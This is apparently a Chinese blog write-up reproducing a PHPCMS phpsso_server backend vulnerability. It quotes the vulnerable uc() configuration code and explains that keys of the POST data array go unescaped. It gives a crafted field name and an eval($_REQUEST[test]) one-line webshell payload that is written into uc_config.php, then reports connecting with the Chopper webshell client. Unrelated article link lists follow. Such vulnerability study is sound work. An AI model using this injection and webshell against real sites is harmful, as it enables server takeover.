思路来自于 http://www.cnbraid.com/2016/09/18/phpcms/

这里自己复现了一下,自己写了一下

因为是后台的,还得登陆两次。。所以不好用,主要是学习学习

漏洞来自于ROOTDIR/phpsso_server/phpcms/modules/admin/system.php

    public function uc() {
if (isset($_POST['dosubmit'])) {
$data = isset($_POST['data']) ? $_POST['data'] : '';
$data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
$filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
$config = include $filepath;
$uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
foreach ($data as $k => $v) {
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}
$html = file_get_contents($filepath);
$html = str_replace($old, $new, $html);
$uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
@file_put_contents($uc_config_filepath, $uc_config);
@file_put_contents($filepath, $html);
$this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
showmessage(L('operation_success'), HTTP_REFERER);
}
$data = array();
$r = $this->db->get_one(array('name'=>'ucenter'));
if ($r) {
$data = string2array($r['data']);
}
include $this->admin_tpl('system_uc');
}

来自这段中的

$data = isset($_POST['data']) ? $_POST['data'] : '';

foreach ($data as $k => $v) {
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}

这里接收post['data']数据中的key,value并写入配置文件ROOTDIR/phpsso_server/caches/configs/uc_config.php中

在ROOTDIR/phpcms/libs/classes/param.class.php中

    public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}

全局过滤了post,但是这里只过滤了value,并没有过滤key

在这个地方,我们可以构造

name="data[uc_api','11');/*]"

并在Ucenter api 地址输入:*/eval($_REQUEST[test]);//

就成功写入了一句话

菜刀成功连接

本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/09/18/phpcms/,如需转载请联系作者。

最新文章

  1. Objective-C:Foundation框架-常用类-NSMutableArray
  2. phpStorm使用技巧及快捷键
  3. SpringMVC 避免IE执行AJAX时,返回JSON出现下载文件
  4. 我的第一个Spring程序
  5. thoughtbot/capybara-webkit
  6. HTML学习_01
  7. JAVA面试题和答案
  8. ueditor ie8兼容性问题
  9. pandas.read_csv参数详解
  10. markdown常用语法简记
  11. Oracle执行计划学习笔记
  12. 解决pgpool启动报错 ifup[/sbin/ip] doesn&#39;t have setuid bit
  13. JavaWeb核心之Servlet
  14. ionic2添加 android平台出现的问题
  15. Python学习笔记第十九周
  16. 启动代码和Bootloader区别
  17. 使用GrabCut提取前景图像的示范代码
  18. vs视图引入命名空间设置方法
  19. 【转】Ant之build.xml详解
  20. 在Asp.net Core中使用中间件来管理websocket

热门文章

  1. springmvc怎么重定向,从一个controller跳到另一个controller
  2. css Table布局:基于display:table的CSS布局
  3. java HashMap,LinkedHashMap,TreeMap应用
  4. 解决html视频播放只有声音没有图像的办法
  5. java 注解(自身理解)
  6. Json 简易教程
  7. Rxjava2.0 链式请求异常处理
  8. 关于jquery的on,你怎么绑定就怎么解除
  9. 09-spring学习-资源访问接口
  10. String、StringBuilder、StringBuffer对比